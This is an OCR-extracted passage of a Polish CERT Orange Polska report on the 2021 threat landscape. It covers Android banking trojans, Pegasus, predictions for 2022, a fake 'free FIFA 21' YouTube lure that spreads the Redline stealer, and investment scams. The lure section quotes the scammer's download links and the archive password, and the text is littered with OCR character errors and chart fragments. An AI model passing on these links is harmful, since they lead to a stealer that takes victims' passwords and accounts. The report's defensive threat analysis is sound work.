komunikacyjnych pozwala cyberprzestepcom korzystac
z zaszyfrowanej komunikacji zapewnianej przez Google
Docs, Discord, Telegram, Pastebin i inne — ale réwniez

z ,bezpiecznej” reputacji tych platform. Wszystkie

te czynniki znacznie utrudniajg obrone przed atakami
ztosliwego oprogramowania. Bez odpowiednich narzedzi,
organizacje moga mie¢ coraz mniejsze szanse na
wykrycie zagrozen w sieci, przed wystapieniem ataku.

TOPS5 trojanéw (nie tylko) bankowych
wykrywanych w 2021 roku

TOP 5 RAT-6w wykrywanych w 2021 roku

17%

15%
14%
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i
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Ztosliwe oprogramowanie w sieci mobilnej

Zagrozenia mobilne w roku 2021, ktérych podobnie

jak w latach ubiegtych, 99% stanowity ataki na Androida,
ponownie zaliczyty wzrost w poréwnaniu do roku
poprzedniego. Znaczace podniesienie liczby wykrywanych
zdarzen o 26% poskutkowaty tym, ze Android okazat

sie niepodzielnym liderem w statystyce najczesciej
atakowanych systemow operacyjnych, w tyle
pozostawiajgc desktopowe Windowsy i Linuxy.

Dobrze odzwierciedla to tez trwajgca od lat migracja
spoteczenstwa z urzadzen stacjonarnych, ktére coraz
czesciej wykorzystywane sg wytgcznie do pracy w kierunku
systemdw mobilnych, zapewniajacych rozrywke,

ale takze umozliwiajgcych dokonywanie optat, zamawianie
jedzenia, zakupow czy wygodng aktywnosé w mediach
spotecznosciowych. Ponizej zaprezentuje, jakie zagrozenia
w skali ubiegtego roku przykuty nasza uwage najbardziej.

Malware Callback

1924 703

Malware Object

125 435

Web Infection

141 528

Pierwszy kwartat

Podobnie jak w roku 2020 ogdlna liczba
identyfikowanych zagrozen na urzadzenia obstugiwane
przez system Android w 1Q 2021 miata tendencje
spadkowe. (Spadek o 14% wzgledem poprzedniego
okresu). Spadek dat sie odczu¢ zwtaszcza

w zagrozeniach z grupy malvertisment. Ta kategoria
obejmuje grupe aplikaciji, ktére nachalnie wyswietlaja
niechciane reklamy na urzadzeniu uzytkownika,

lub potajemnie wykorzystuja urzadzenie do nabijania
odwiedzin na wybranych stronach, monetyzujgc tym
samym mechanizm PayPerClick.

Najwiekszym przedstawicielem kategorii malvertismentu
jest Hiddenads, ktéry w 1Q stanowit tylko 12% udziatu
we wszystkich wykrytych zagrozeniach dla Androida,
plasujac sie w tej kategorii na drugim miejscu, podczas
gdy w poprzednich okresach konsekwentnie zajmowat
pierwsze miejsce. Ztosliwe oprogramowanie bankowe

w sieci mobilnej utrzymywaty poziom zblizony

do wartosci z kwartatu poprzedniego. W dalszym

ciggu dominowaty zagrozenia z rodzin Cerberus i Alien,
cho¢ identyfikowaliSmy rowniez ataki wykorzystujgce
oprogramowanie Anubisa, Hydre czy Blackrocka,

ktory poza funkcjami podszywania sie pod aplikacje
bankowe, wykradat z telefonu takze dane uwierzytelniajgce
do aplikacji spotecznosciach, finansowych, zakupowych,
a takze komunikatoréw czy portfeli kryptowalut.

Wystapienia infekcji wediug systemu
operacyjnego ofiary
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Drugi kwartat

Drugi kwartat przyniost ozywienie w liczbie wykrywanych
infekciji, ktdra wzrosta drastycznie, niemal dwukrotnie.

Tylko w grupie zagrozen ransomware, odnotowalismy spadki
liczby zarejestrowanych zdarzen w poréwnaniu do okresu
poprzedniego. Za rosnaca liczbe zdarzer odpowiada przede
wszystkim wstrzags na rynku malware‘u bankowego, spowo-
dowany pojawieniem sie zupetnie nowego gracza — Flubota.
Flubot, ktérego pierwsze slady odnotowano jeszcze

w 1Q 2021 w Hiszpanii, do Polski trafit na przetomie

marca i kwietnia, ale to wtasnie w drugim kwartale stat sie
najwiekszym zagrozeniem mobilnym z kategorii bankerow.
Flubot propagowat sie przez SMS-y podszywajace sie

pod popularne firmy kurierskie z linkiem do zainstalowania
aplikacji. Po jej zainstalowaniu i przyznaniu wymaganych
uprawnien Flubot uzyskuje mozliwos¢ kontroli nad telefonem
(w tym spamowaniu wiadomosciami SMS do dowolnych
numerdéw zdefiniowanych w instrukcjach naptywajgcych

z botnetu), a takze wykrada dane kart kredytowych

i ma mozliwos$¢ podszycia pod aplikacje bankowe w celu
pozyskania dostepow do konta i SMS-6w autoryzacyjnych.
Operacja rozprzestrzeniania Flubota, ktéry na przestrzeni
kilku miesiecy zaatakowat uzytkownikdéw wiekszosci krajow
europejskich nie ma precedensu z kilku powoddw.

Flubot w przeciwienstwie do wielu innych bankeréw

Tylko Pegasus? A moze

Zdecydowanie najczesciej komentowanym w mediach
zagrozeniem roku 2021 byt oczywiscie niestawny Pegasus,
czyli oprogramowanie szpiegujace izraelskiej grupy NSO
celowane w urzadzenia mobilne w wigkszosci z systemem
iOS, ale zdarzaty sie takze wersje exploitujace Androida.
Poprzez wykorzystanie podatnosci Zero-Click w aplikaciji
iMessage, atakujgcy byli w stanie zainfekowac telefon ofiary
bez jej jakiejkolwiek interakcji z systemem. Ten ,bezinwazyjny”,
wyrafinowany sposob infekcji wyréznit Pegasusa na tle
podobnych spyware‘ow, przykuwajgc jednoczesnie

uwage badaczy i specjalistéw od zabezpieczen.

Pegasus, jako kompletny pakiet oprogramowania szpiegujacego,
jest w stanie $ledzi¢ lokalizacje urzadzenia, podstuchiwaé
potaczenia, odczytywaé wiadomosci i pozyskiwac inne

dane osobowe z przejetego sprzetu. Co wazne, nie jest
oprogramowaniem nowym, jego korzenie siegajg co najmniej
2015 roku, cho¢ od tamtego czasu jego kod Zrodtowy ulegt
znacznemu przeobrazeniu. W celu udanej, dyskretnej
propagacji zagrozenia, jego tworcy musieli odkrywaé luki

w aktualizowanych na biezgco systemach operacyjnych

lub aplikacjach, od zdalnych jailbreakéw po najnowsze wersje
wykorzystujace exploity typu zero-click.
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(Cerberus, Alien, Anubis, Hydra czy BlackRock)

nie jest odsprzedawany réznym grupom hakerskim

w ustudze malware as a service — to oznacza, ze wszystkie
operacje sg realizowane, a przynajmniej koordynowane
przez jedna grupe przestepcza. Skala ich dziata wskazuje,
ze w ataki zainwestowano niemate $rodki i naktad pracy:
tysigce przejetych webaplikacji wordpressa, na ktorych
wystawiony byt kod ztosliwego oprogramowania, kampanie
phishingowe przygotowywane w wielu jezykach i stata praca
nad dynamicznie aktualizowanym kodem zrédfowym liczaca
Srednio kilka poprawek miesiecznie. Wiecej o aktywnosci
Flubota w sieci Orange opisat w swoim artykule Arkadiusz
Bazak, ktéry od poczatku marca 2021 sledzi jego aktywnos$é
w kampaniach skierowanych na Polske.

Drugi kwartat przypadt tez na szczyt innego Androidowego
bankera — Hydra. Operatorzy Hydry podszywali si¢ w
swoich kampaniach pod systemy antyspamowe i pocztowe
najwiekszych polskich portali informacyjnych w sieci:
Witualnej Polski, Onetu i Interii. Identyfikowaliémy jednak
takze przypadki podszy¢ pod aplikacje polskiej bankowosci.
Sama Hydra, zmienita tez w potowie roku mechanizm
ukrywania wtasciwego serwera Command and Control
przed statycznymi analizatorami kodu, przenoszac strony
sktadujgce domeny wiasciwych serweréow C2 z serweréw
Githuba do sieci TOR.

Na szczescie dla wiekszosci uzytkownikdw, ten rodzaj
ataku nie bedzie miat zastosowania na masowag skale,
ale trzeba pamietac, ze Pegasus nie jest jedynym
oprogramowaniem szpiegujgcym, ktére moze przejaé
nasze dane. Jak zaznaczamy w raporcie, na urzadzenia
mobilne identyfikujemy najwieksza czes$é atakow

w sieci Orange, a duza z nich polega na uruchomieniu

w systemie aplikacji, ktéra przejmuje lub wykrada dostep
do naszych danych. Zagrozenia z grupy spyware,

nie sg wykorzystywane wytacznie przez agencje rzadowe
i stuzby wywiadowcze, a ich celem nie padaja tylko
przeciwnicy polityczni czy osoby publiczne.

Pomijajac wynikajacy z uzycia takich narzedzi aspekt
etyczny i polityczny, nagto$nienie Pegasusa w mediach
daje powdd do zastanowienia sie nad tym, gdzie

i w jakich aplikacjach publikujemy lub przechowujemy
wrazliwe dane? Z ktérego komunikatora korzystamy
do przesytania wiadomosci czy wykonywania potaczen?
Gdzie wysytamy nasze zdjecia, dokumenty i inne
poufne niekiedy informacje? A przede wszystkim warto
odpowiedzie¢ sobie na pytanie w jakim stopniu ufamy,
ze narzedzia z ktérych korzystamy bezrefleksyjnie,
zagwarantujg nam ich prywatno$é?

Trzeci kwartat

Ogolne wykrycia zagrozen dla Androida ustabilizowaty
sie na poziomie analogicznym do kwartatu ubiegtego,

a to znaczy, ze utrzymaty rekordowe wyniki przy ciagle
zachowanym trendzie wzrostowym zagrozen bankowych.
Jest to ilustrowane niekonczaca sie liczbg nowych lub
ewoluujgcych malware‘ow.

Juz w pierwszych miesigcach 2021, badacze z holenderskiej
firmy ThreatFabric zaobserwowali jako pierwsi probki

innego ztosliwego oprogramowania, dystrybuowanego

w tych samych linkach, podszywajacych sie pod korporacje
kurierskie, z ktorych korzystat Flubot. Tym oprogramowaniem
byta nowa rodzina Androidowych bankeréw nazwana
Anatsa aka Teabot.

Poréwnujac Flubota z Anatsg, bardziej niebezpieczng
wydaje sie by¢ Anatsa ze wzgledu na jej dodatkowy modut
RAT-a. Zainstalowany na smartfonie malware moze odebra¢
polecenie o nazwie start_client z C2 i zainicjowac
komunikacje z okreslonym adresem IP i portem.

To potaczenie stuzy do wysytania i odbierania danych,

ktére umozliwiajg przestepcom przejecie aktywnej

kontroli nad urzadzeniem ofiary w tym czynna kontrole

nad tresciami wyswietlanymi na ekranie telefonu.

Kolejne dwa nowe zagrozenia, ktdre aktywnie atakowaty
polskich uzytkownikéw w podszyciu pod aplikacje bankowe
(ING, CreditAgricole, IKO, Peopay, Santander czy Millenium)
to SOVA i Ermac.

SOVA jest w stanie wykrada¢ dane uwierzytelniajace

i ciasteczka sesji poprzez ataki typu overlay, keyloggery,
ukrywanie powiadomien i manipulowanie schowkiem

w celu podmiany adreséw portfela kryptowalut. Jesli
autorzy zrealizujg zapowiadany plan rozwoju narzedzia,
SOVA zyska funkcjonalnosci RAT-a przy uzyciu VNG,
mozliwosci przeprowadzania atakéw DDoS, czy modut
ransomware. W efekcie uczynitoby to z S.0.V.A. najbardziej
rozbudowane w funkcje ztosliwe oprogramowanie

na Androida na rynku i mogtoby podwyzszy¢ standard
wyjsciowy dla reszty trojandéw bankowych atakujgcych
instytucje finansowe i uzytkownikéw domowych.

Ermac zostat zbudowany na bazie kodu Cerberusa,

co rozpozna¢ mozna choéby po uzyciu identycznych struktur
danych podczas komunikacji z C2. Jego tworca, DukeEugene
odpowiedzialny rowniez za BlackRocka zadbat jednak

o to by wprowadzié¢ w przestarzatym nieco oprogramowaniu
odpowiednie zmiany, do ktdrych nalezy miedzy innymi
zastosowanie technik zaciemniania i nowe metody
szyfrowania stringéw czy przejscie na AES128

w szyfrowanej komunikacji z serwerami Command

nad Control. Ermac pokazuje, dlaczego wycieki kodu
zrodtowego ztosliwego oprogramowania nie prowadza
wytacznie do kompromitacji takiego malware‘u,

ale pozwalajg innym na opracowanie i wprowadzanie
zmodyfikowanych aplikacji do grupy nowych zagrozen.

Czwarty kwartat

Ostatni kwartat utrzymat status quo w obserwowanych
statystykach infekcji, a na najwiekszg uwage zastuguje
powrdt zagrozenia Joker w zdarzeniach wykrywanych
w sieci Orange. Gtéwna funkcjg Jokera jest
subskrybowanie niechcianych ptatnych ustug premium
bez wiedzy uzytkownika. Podstawowym sposobem
dystrybuciji Jokera sg podszycia pod legalne aplikacje
w sklepie Google Play.

W celu ominiecia zabezpieczen Google‘a, Joker
wykorzystuje legalny framework do tworzenia natywnych
aplikacji na urzadzenia mobilne, co dodatkowo legitymizuje
taka aplikacje podczas statycznej analizy kodu silnikami
antywirusowymi.

Na urzadzenia mobilne
identyfikujemy najwieksza
czes¢ atakow w sieci Orange,
a duza z nich polega

na uruchomieniu w systemie
aplikacji, ktora przejmuje
lub wykrada dostep

do naszych danych.

Przyktad Jokera wskazuje rowniez trend, za ktorym
podazyli operatorzy innego ztosliwego oprogramowania
m.in. (Hydra, Alien, Ermac czy HiddenAds) wykorzystujac
coraz bardziej dyskretne droppery funkcjonujace

w ramach kodu legalnej aplikaciji, ktdrg imituja.

Innymi metodami utrudniajgcymi wykrycie dropperéw

sg wprowadzone funkcjonalnosci rozpoznania $rodowiska
emulujgcego Androida w celu unikniecia wykrycia

czy ograniczenie uprawnien wyjsciowych o jakie prosi
aplikacja podczas instalaciji.

W sieci Orange rok 2021 pozegnali§my walczgc

z powracajgcym zagrozeniem Coper aka Exobot

w duzej kampanii podszy¢ pod bank PKO BP.

Do hostowania nowych prébek ztosliwego
oprogramowania wykorzystana byta platforma Github,
co moze wskazywac na kolejny taficuch dystrybucyjny
w ustudze malware as a service. Gtébwnym zadaniem
Copera jest realizacja Web Injectéw przechwytujacych
dane logowania do aplikacji bankowych. Oprécz tego
ma mozliwos¢ przechwytywania i wysytania SMS-éw
oraz rejestrowania i wykradania wpisywanych

na telefonie danych uwierzytelniajgcych.

41



Raport CERT Orange Polska 2021

Raport CERT Orange Polska 2021

Najczesciej wystepujace ztosliwe
oprogramowanie w sieci mobilnej 2021 roku

e I 22%
I 17%
Alien - 7%
Hydra . 40/0

Cerberus - 80/ o

Podsumowanie

W drugim roku pandemii zapowiadali$my,

ze zagrozenia dla Androida bedg tylko przyrastaé
z dwdch kluczowych powodoéw. Android jest
prawdopodobnie najbardziej powszechnym
systemem operacyjnych na swiecie, a spektrum
jego funkcjonalnosci w wielu aspektach bije

na gtowe oprogramowanie desktopowe.

Zanotowali$my proporcjonalnie najwiekszy
wzrost dziatu trojanéw bankowych w relacji

do wszystkich wykrywanych zdarzen. Na uwage
zastuguje réwniez rosnace znaczenie
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downloaderdw, a takze oprogramowania z rodziny
RAT czy spyware. To rosnace zréznicowanie wsréd
obserwowanych zagrozen wskazuje na coraz bardziej
powazne podejscie cyberprzestepcow do systemu
Android jako jednego z gtéwnych celdw atakow.

Spodziewamy sie, ze w 2022 r. tworcy ztosliwego
oprogramowania jeszcze bardziej skoncentruja
sie na rozbudowanych, modutowych malware’ach,
takichjak ransomware, trojany bankowe i aplikacje
kopigce kryptowaluty na urzadzeniach ofiar.

Piotr Kowalczyk
Cyberbezpieczenstwo Orange Polska

Trendy, czyli nasze przewidywania na rok 2022

Nasze zapowiedzi dotyczace trendéw w 2021 roku

w wiekszosci sie sprawdzity. Zgodnie z przewidywaniami
nastgpit wzrost udziatu ztosliwych aplikacji dla urzadzen
mobilnych, atakdéw z wykorzystaniem spoofingu Caller

ID (to byta prawdziwa plaga) czy wzrost atakéw typu
smishing. Sprawdzity sie tez prognozy dotyczace nowych
rekordéw w wolumenach atakéw DDoS, wzrost kradziezy
kryptowalut czy skrécenie czasu atakéw
socjotechnicznych (w szczegdlnosci phishingu).

Nasze przewidywania dotyczgce atakow na sztuczng
inteligencje nie sprawdzity sie.

Wiecej o zesztorocznych trendach przeczytacie w Rapor-
cie CERT Orange Polska za rok 2020, ktory jest dostepny
w serwisie internetowym naszego zespotu.

Ponizej nasze przewidywania
na rok 2022.

1. Kontynuacja atakéw na gietdy kryptowalut
oraz kradziez portfeli z kryptowalutami.

2. Zwiekszy sie tez liczba ztosliwego oprogramowania
dla urzadzen mobilnych. Twércy ztosliwego
oprogramowania bedg bardziej skoncentrowani
na rozbudowanych, modutowych malware’ach, takich
jak ransomware, trojany bankowe i aplikacje kopigce
kryptowaluty na urzadzeniach ofiar.

3. Utrzyma sie tendencja dodawania ztosliwego kodu
w projektach open source, ktéry ma na celu
aktywacje i wykorzystanie backdoor’ow.

4. Utrzyma sie rynek skupu podatnosci typu 0-day
na urzadzenia mobilne.

5. Coraz czesciej bedg wykorzystywane mozliwosci
kampanii dezinformacyjnych, w celach politycznych
oraz gospodarczych.

6. Zwiegkszy sie skala wykorzystywania infrastruktury
dostawcéw ustug chmurowych do dystrybucji
i eksfiltracji ztosliwego oprogramowania,
w kampaniach phishingowych i scamach.

7. Utrzyma sie poziom atakéw na uzytkownikéw
platform sprzedazowych (oszustwa ,,na kupujacego”).

8. Bedziemy obserwowaé zwiekszenie zaangazowania
organdw panstwowych w przeciwdziataniu cyberata-
kom wykorzysujgcym CLI spoofing, phishing, smishing.

9.

Przewidujemy wzrost ustug wykorzystujacych
2FA, powodujac tym samym ich rozpowszechnienie
[(w tym kluczy U2F).

10. W zwiazku z duza liczbg wykrywanych podatnosci

coraz wiecej ustug bedzie migrowanych do rozwigzan
opartych na chmurze. Bedzie sie to rowniez wigzato
ze zwiekszeniem liczby atakdw na te infrastrukture.

11. Utrzyma sie duza liczba atakdéw ransomware na

infrastrukture gmin i szpitali. Mimo, ze pojawita sie
mozliwos$¢ pozyskania srodkéw na bezpieczenstwo,
to preferowane jest wykorzystywanie ich na sprzet
informatyczny.

12. Przewidywane sg ataki DDoS o duzym wolumenie

m.in. na sektor bankowy. Mozna liczy¢ sie z kolejnymi
rekordami wolumenu atakéw.

13. Przewidywane sg ataki na tozsamos¢.

Przechwytywanie cyfrowego ,ja”, czyli np. dostepéw
pracownikdw do systemoéw informatycznych
czy infrastruktury, aby dostac sie do srodka firmy.

Zespot CERT Orange Polska
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Malware (poniekad) z Youtube’a

E-mail i SMS - to wspotczesnie najpopularniejsze
wektory ataku na uzytkownikéw internetu. Ztosliwe
oprogramowanie mozemy znalez¢ wtedy

czy to w zatgczonych, wykorzystujgcych podatnosci
naszych aplikacji plikach, czy tez na ,,wzbogaconych”
witrynach, do ktérych oszusci linkujg ofiare.

A co powiecie na infekcje za pomoca... filmu na Youtube?
Oczywiscie nie dostownie, ale o tym pdzniej.

,» 10 jest internet, tu wszystko
jest za darmo!”

Od dawna jednym z najpopularniejszych zwrotéw,
wyszukiwanych w internecie, jest ,,za darmo”/”for free”.
Nie ma na to twardych dowodéw czy wynikéw badan,

ale — céz - wystarczy $ledzi¢ rozwdj internetu w Polsce
od poczatkdw jego istnienia, by zna¢ podejscie
statystycznego uzytkownika do tresci, dostepnych w sieci.
Bez urazy, rzecz jasna. W koncu w internecie na poczgtku
faktycznie ,wszystko” byto za darmo (czy to z woli tworcy,
czy z racji akceptacii piractwa). katwos$é zdobycia
nielegalnego oprogramowania, czy krazace po sieci
pirackie wersje filméw, dowodzg, ze nie brakuje osdb,
ktérym takie podejscie zostato do teraz. Po co kupowac,
czesto za spore pienigdze, skoro mozna scrackowaé

i korzystaé za darmo? Tym bardziej, gdy nasz ,budzet”

— jak w przypadku dzieci i mtodziezy - to tak naprawde
karta ptatnicza rodzica. W swoich poszukiwaniach takim
osobom zdarza sie tez trafi¢ na Youtube’a.

(DD YouTube Saukej a | &

FOR FREE!

IZvAIH (S)

SnolaWYID

¥ 100%WoRKING

ON PC MULTIPLAYER @ FIFA 21 DOWNLOAD PC FOR FREE USING UTORRENT 100% WORKING
(5578 GJ NEPODOBAMISIE ) UDOSTEPNW =+ ZAPISZ

Pamietacie torrenty? To byty te czasy, gdy nie byto
Netflixa/Amazon Prime/HBO/Playera/innych
serwisdw_VOD i jedyng mozliwoscig bycia na biezgco
z najpopularniejszymi serialami byto znalezienie dobrej
duszy, ktéra udostepniata kolejny odcinek.

O ile do czystego avi/mp4 (czy mp3 — bo o Spotify
tez nikt nie marzyt) ciezko dokleié ztosliwy
kawatek, o tyle pirackie gry, czy aplikacje,
uwielbiali nawet emerytowani juz cyberprzestepcy.
| — jak wida¢ - to jedna z rzeczy, ktéra

do tej porysie nie zmienita.
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uTorrent, ktorego nie ma

Historia bedzie tyczyta FIFA 21, jednak na Youtube mozna
znalez¢ sporo innych przyktadéw. Poczawszy od ,,skorek”
do postaci w Fortnite, czy Counter Strike’u, poprzez robuxy
do Robloxa, na crackach do Outlooka, czy aktywatorach
do Windowsa skonczywszy.

Co zatem trzeba zrobi¢, by zagraé w ,darmowa” Fife 21?
Wystarczy $ciggnac torrenta z gra i odpali¢ aplikacje.
Najchetniej najpopularniejszego uTorrenta, matego,
niezamulajacego komputera klienta. O prosze nawet

dla utatwienia ,dobry cztowiek” podaje nam linka...

@ Acell

Hello, in this video I will show you how to properly install the game fifa 21 on your computer for
free...
You have to do everything exactly the same as in the video! Then you won't have any problems!

B DOWNLOAD GAME®:

https://bit.ly/3kRrfx1

G DOWNLOAD uTorrent®: http://cloud-main.xyz/file/1/bc008e
Password: 12345

‘@ Don't forget that your best gratitude is like. @

Tutaj i tak warto docenié socjotechniczne starania oszusta.
Rownie czesto mozna wpasc¢ na torrenty z grg i rzekomym
crackiem, majgcym otworzy¢ dla nas za darmo wszystkie
mozliwosci rozrywki.

A co sie wydarzy gdy uruchomimy taka aplikacje?
Przestepcy nawet sie nie staraja, zeby cokolwiek udawac.
Aplikacja uTorrent sie nie zainstaluje, a préba uzycia
scracka” spowoduje wyswietlenie btedu. Co stanie sie
naprawde? Zainstalujemy malware. W przypadku ,,Fify”
bedzie to rozbudowany stealer Redline (o nim dalej).

W sieci Orange Polska w 2021 roku obserwowali$my

tez rozsiewanie innego rodzaje ztosliwego softu: Raccoon,
FormBook, AveMaria, DanaBot, LokiBot, AveMaria, Vidar,
Remcos, BitRat, Emotet, Spectre czy Amadey. Co ciekawe,
ten ostatni w prébach infekcji omija urzadzenia z rosyjskim
uktadem klawiatury...

Nie zauwazytem, kliknatem - co sie stanie?

*! (412) FIFA 21 FREEDOWN! X | 8

- youtube.com/watch

= » YouTube how to download fifa 21 online utorrent

B3 FiFA+21.zip (pozostato tylko 15 dni do zakupu licencji)

Plik Polecenia Narzedzia Ulubione Opcje Pomoc

e EdDme \ ® @ &8 =

Dodaj Wypakujdo.. Testuj Podejrzyj Usuri  Wyszukaj Pomocnik Informacje | Skanuj Komentarz.. — SFX | "Kazdego dnia”

* [B8 FIFA+21.zip - ZIP archiwum, rozmiar oryginalny 5 354 769 bajtéw

Nazwa Rozmiar Skompreso... Typ Zmodyfikowany CRC32
[ setup.exe 5354768 5316367 Aplikacja DO9D444E
5] password.txt 1 7 Dokument tekstowy 24B12BAE

ARSKIE WYZWANIA [#28]
NG HAALAND

]

DEL rozbit bank...

(]

BILEM DRAFT Z IKONA W
DEJ FIFIE

L

KA Z IKONA PRIME! - FIFA
timate Team [#158]

<

Razem 2 plikéw, 5 354 769 bajtow

Mozliwosci Redline’a sg w zasadzie nieograniczone,
czego dowodzi analiza przechwyconych informaciji.
W katalogu z wykradzionymi danymi mozemy znalez¢
m.in. takie pliki i foldery jak:

m Discord i Steam (wszystkie dostepne dane

na przejetym komputerze, dotyczace tych aplikaciji)
Screenshots

Passwords

InstalledSoftware

Cookies

Autofills

UserInformation

Co przestepca moze zrobic¢ z takimi danymi?
Blokuje go chyba tylko wyobrazZnia.

Messi i przyjaciele tworzg
historig w tym meczu

SUBSKRYBUJ

Co ciekawe, analizujac probki informacji, wykradzionych
przez botnet, znalezli§my sporo taczacych je cech. Z drugiej
strony - to nic dziwnego, ze na ,lep” pirackiej gry daja sie
ztapaé przede wszystkim ludzie mtodzi, w wieku 12-14 |at,
uzywajgcy komputera przede wszystkim do grania. Gdy
padna ofiarg przestepcow, ci nie beda sie wahaé nad
wykorzystaniem Discorda do dalszego siania malware’u,
zmiang hasta i sprzedaniem konta Steam, dostepéw do
innych pfatnych serwiséw, do ktérych znajda hasta, bgdz
przejeciem konta mailowego, czy spotecznosciowego.
Jesli ofiara miataby na komputerze offline’owy portfel
kryptowalutowy, ten tez zostatby wyczyszczony.

A wszystko dlatego, ze potaszczyliSmy sie
na ,darmowa” gre...

Michat Rosiak
Cyberbezpieczenstwo Orange Polska
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Jak stracic¢ na kryptowalutach

~Dobrze jest by¢ stawnym. Ale pewniejsze jest mie¢
pieniagdze” — ktéz z nas nie zgodzi sie z cytatem

z Seneki Mtodszego? A kiedy juz troche tych pieniedzy
mamy: albo chcemy mie¢ wiecej, albo nawet te odrobine,

ktora okazata sie ,wolna” — nieco pomnozyc.

Jak? Internet daje mnéstwo sposobow!

Kryptowaluty

Samograj! Rosna caty czas, wptace tysigc ztotych,
a lada moment wyjde z milionem! Co krok, gdzie
nie spojrze w sieci, widze reklamy gietd kryptowalut.
Przeciez na samym Facebooku sa tego krocie!

A jeszcze mi czasami maile przyslg, tam pisza,

ze moje bitcoiny to nawet na mnie czekajg!

llez to sie rzeczy w sieci pojawial

Rzad Was wykorzystuje | robi z was
niewolnikdw za najnizszg krajowq...

- grzmi Anna, gos¢ programu Dzien
Dobry TVN, ktora w tATWY SPOSOB
zarobita 81 244.02 ztotych.

Mial to by¢ kolejny zwykly dzieft w pracy dla Anny K. z . kobiety pracujacej jako pani
lekkich obyczajow.

Moze mogliby$smy pozwoli¢ sobie na wiecej?
Wyremontowac¢ mieszkanie, kupi¢ samochdod?
Jak inwestycja dobrze wyjdzie to moze w ogodle
kupimy jakie$ lokum? Przeciez w internecie

nie ktamia, trzeba tylko kliknac!

Kto by nie chciat odnosi¢ sukceséw?

Ktz by nie chciat byé piekny i bogaty (no i mtody,
ale przeciez wiek to tylko liczba...). Szybciutko
zaktadamy konto! Proszg o wptate ,,na rozruch”?
500 ztotych? A moze 250€? Siegnie sie

po zaskodrniaki albo pozyczy!

Mijajg kolejne dni, czasami nawet tygodnie.
Zagladamy na strone naszej gietdy i widzimy,

ze nasze oszczednosci rosna niczym na $wiezutkim,
nakarmionym zakwasie. Znajomi moéwia, ze rynek
krypto wpadt w dotek? Bzdura! Zobaczcie na moje
konto! Wasze strony to jacys$ oszusci!
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Dotacz do spotecznosci
odnoszacych sukcesy

inwestorow kryptowalut

Trustplot

DOLACZ TERAZ

Gdy kilka tygodni pézniej klikajac jak co rano na strone
naszej gietdy widzimy, ze strona nie istnieje, dalibysmy
sobie reke ucigé, ze to przeciez ,,serwery im sie zepsuty”.
Dni mijaja, a serwery... hmmm, wcigz zepsute?

Nawet, gdy googlajac nazwe firmy, ktérej powierzyliSmy
(oby tylko) pieniadze ,na rozruch” widzimy ostrzezenia
innych internautéw i KNF, wcigz wypieramy to,

ze zostali§my najzwyczajniej w $wiecie oszukani...

Inwestuj z siecia sklepéw/grupa
energetyczng

Kto ma duzo pieniedzy? No jasne, ze spotki paliwowe!
Kto umie inwestowac? Pewnie firma, ktéra zaczynata
od kilku sklepéw, a teraz obrotami zdominowata polski
rynek. Albo ta, produkujgca autobusy na caty Swiat!
Komuz by innemu zaufag, jesli chce swoje oszczednosci
pomnozy¢ w dzisiejszych ciezkich czasach?

Tym bardziej, jesli strona wyglada tak profesjonalnie!

e

yta wiasna aby poméc kazdemu.
Nie tra¢ czasu i zostan jednej z i firm na
Swiecie

Uzyskaj dochéd z zasobw
swojego kraju!

Trzeba sie tylko pospieszyé, bo na stronie jest teraz az

121 osdb, a wolne miejsce tylko jedno!!! Przez chwile tylko
przechodzi nam przez mysl, ze ten ,,dochdd z zasobow
naszego kraju” dziwnie brzmi, ale kto by sie takimi
gtupotami zastanawiat? Tym bardziej, ze przewijajac dalej
dowiemy sie, ze to ,,znaczny zysk bez ryzyka” i ,najbardziej
dochodowy atut kraju”

Dlaczego jest to korzystne
m dla zwyktych obywateli?
e’
Znacany zysk bez ryzyka
-

0]
@ e e
Q.

=0 s ot ki ool
%00 kartq Banku Polskiego

Tomasz Suchanski

A nawet bedziemy mogli wyliczy¢, ile zarobimy
zaleznie od inwestycji!

lle bede zarabiat?

Twoja inwestycja

900 PLN 100 000+ PLN

Twoj zysk

132000 PLN

Zarejestruj sie

Poza tym co to za problem? Trzeba tylko podaé

imie, nazwisko, maila i numer telefonu.

Po niecatych 24 godzinach faktycznie dzwoni

jaki$ pan. Niezwykle sympatyczny, doktadnie wszystko
wyjasnia. Podaje nawet linka do oprogramowania,
pomagajgcego w przeprowadzaniu transakciji, jakis
AnyDesk, czy cos? Instalujemy, podajemy mu jakie$
cyfry, ktére nam wyswietlito i tyle. Inwestujemy!

Przed nami juz tylko zy...

— Halo! Skad Pani dzwoni? Z banku?

Jak to puste konto? Przeciez tam byty moje
oszczednosci catego zycia? Jaki kredyt

na 50 tysiecy, przeciez ja nic nie... Nikt nie miat
loginu i hasta do mojego konta! Nikt nie korzystat
z mojego komputeral

Wyptata na karte... ptatnicza?

A skoro ani jedno, ani drugie nie zadziato, to moze bank?
Mozemy albo zainwestowaé gotowke:

Wypetnij formularz P T ———
&  zgtoszeniowy online =
poznanie decyzji banku i Twoich

indywidualnych warunkéw w ciagu S minut

Whptata klienta PKO ez wizyywbiurze
INVEST @ P —

Nasz serwis to niezalezne od inwestora
rozliczenia migdzyokresowe dla
aktywnych uzytkownikéw bankowosci

m Obsluga wyplst i Khentow
banky PO,

Nastgpny —>

Serwis gwarantuje 100% wyplate, ktéra
jest przechowywana na koncie PKO
Invest do momentu wystania jej na konto
klienta PKO

PKO ONLINE
41000

Otrzymanie platnosci
41002424

41002121
Nastgpny —> )

. ©PKO2021
Licencia ogoina Banku Polskiego N?1000

albo kupi¢ znéw kryptowaluty, ktérymi ,system”
bedzie w naszym imieniu automatycznie handlowat,
generujgc oczywiscie pewne zyski!

za  11:564:38

| Millennium |

(u’ AutoTradoet 1103

ZACZNU ZMIENIAC SWOJE ZVOIE
iz oz15

Odbierz swoje
2100 zt juz dzis
wieczorem

Zarabiaj pienigdze w trybie
autopilota na robocie handlowym

Banku Millennium i uniezaleznij sig
finansowo juz za 3 tygodnie

-
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W pierwszym przypadku wystarczy, bysmy podali
numer karty ptatniczej, na ktéry bedzie przelane
nasze 231 PLN. Niby nic takiego, ale przeciez

mie¢ 231 zt a nie mie¢ 231 zt to 462 ztote rdznicy!
Poza tym zgodnie ze starym hastem: , Jak daja,

o bra¢”! Pewnie jakby sie kto$ nas spytat, czy spotkali
sie z przypadkiem wptaty na karte ptatnicza (a nie
wypfaty...), ale na szczescie (czy aby na pewno?)
teraz go nie ma. Pewnie zazdro$¢ by przez niego
przebijata, ze sam takiej oferty nie dostat!

A moze jednak zdecydowac sie na te kryptowaluty?
Tam trzeba wpisa¢ dane i pewnie jaki$ ekspert
oddzwoni. No, oni przynajmniej powazny

certyfikat maja!

